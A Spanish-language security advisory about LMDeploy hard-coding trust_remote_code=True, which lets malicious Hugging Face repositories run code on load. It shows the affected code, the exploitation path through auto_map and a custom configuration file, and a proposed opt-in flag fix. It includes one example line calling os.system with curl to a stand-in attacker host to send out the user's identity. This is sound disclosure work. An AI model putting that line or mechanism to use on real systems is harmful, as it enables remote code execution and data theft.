Descripción de la vulnerabilidad

LMDeploy presenta una vulnerabilidad de seguridad crítica donde el parámetro trust_remote_code=True está hardcodeado en múltiples ubicaciones del código fuente, sin proporcionar al usuario ninguna opción para desactivar esta funcionalidad. Esta configuración anula silenciosamente la postura de seguridad por defecto de HuggingFace Transformers (trust_remote_code=False) introducida en la versión 4.30 específicamente para prevenir esta clase de RCE de cadena de suministro.

Impacto técnico

Cuando un usuario ejecuta comandos como lmdeploy serve api_server <repo_atacante> o lmdeploy lite calibrate <repo_atacante>, no tiene forma de evitar la ejecución de código remoto. El único escape es nunca cargar ningún repositorio HF de terceros con LMDeploy, lo cual es incompatible con el caso de uso documentado de la herramienta.

Ubicaciones afectadas en el código

Sitio 1: Detección de arquitectura

En lmdeploy/archs.py:147-157, la función get_model_arch hardcodea el parámetro:

python
def get_model_arch(model_path: str):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Tanto la ruta principal como el fallback hardcodean trust_remote_code=True. Esta función es llamada desde cada ruta de carga de modelo en lmdeploy.

Sitio 2: CLI de cuantización

En lmdeploy/lite/apis/calibrate.py:248-251:

python
tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

Sitio 3: Helper de calibración

En lmdeploy/lite/utils/load.py:55, incluso si el llamador no pasa trust_remote_code=True en **kwargs, el helper lo hardcodea internamente.

Mecanismo de explotación

Cuando se llama AutoConfig.from_pretrained(repo, trust_remote_code=True) y el config.json del repositorio contiene una clave auto_map que apunta a un configuration_<name>.py personalizado:

  1. HF Transformers descarga el archivo .py del repositorio
  2. HF importa el módulo vía importlib, ejecutando el código de nivel superior del archivo
  3. Cualquier os.system, subprocess.run, urllib.request.urlopen, etc. se ejecuta inmediatamente

Un repositorio malicioso solo necesita un os.system("curl https://atacante/?$(whoami)") de nivel superior en configuration_evil.py para ejecutarse como el usuario del proceso lmdeploy.

Superficie de ataque

La vulnerabilidad afecta a cualquier usuario que ejecute comandos CLI de lmdeploy contra identificadores de repositorio HuggingFace que no hayan verificado personalmente:

  • Usuarios casuales siguiendo tutoriales
  • Pipelines CI que automáticamente descargan modelos de HF Hub
  • Investigadores comparando modelos de múltiples autores

El usuario no recibe advertencia de que se ejecutará Python arbitrario del repositorio, y no existe flag para desactivarlo.

Comparación con proyectos similares

| Proyecto | Default trust_remote_code | Control del usuario | |---|---|---| | HuggingFace Transformers | False | Argumento trust_remote_code | | vLLM | False | Flag --trust-remote-code | | LMDeploy | True (hardcodeado) | Ninguno | | TGI | False | Flag --trust-remote-code |

LMDeploy es la excepción. Otros frameworks de inferencia (vLLM, TGI, HuggingFace Transformers) exponen --trust-remote-code como opt-in para que usuarios que conscientemente cargan repositorios conocidos como seguros puedan activarlo, mientras que usuarios siguiendo tutoriales no ejecuten accidentalmente Python de atacantes.

Solución recomendada

Reemplazar cada trust_remote_code=True hardcodeado con opt-in explícito vía flag CLI:

python
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Cablear trust_remote_code a través de cada sitio de llamada. Agregar --trust-remote-code al parser CLI de lmdeploy y reenviarlo desde server/calibrate/gptq/etc. con default False.

Clasificación de severidad

CVSS 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H con calificador de que el usuario debe cargar el modelo). La severidad debe evaluarse como hardening/secure-by-default, no como RCE no autenticado completo, ya que el usuario suministra la referencia del modelo y LMDeploy la respeta.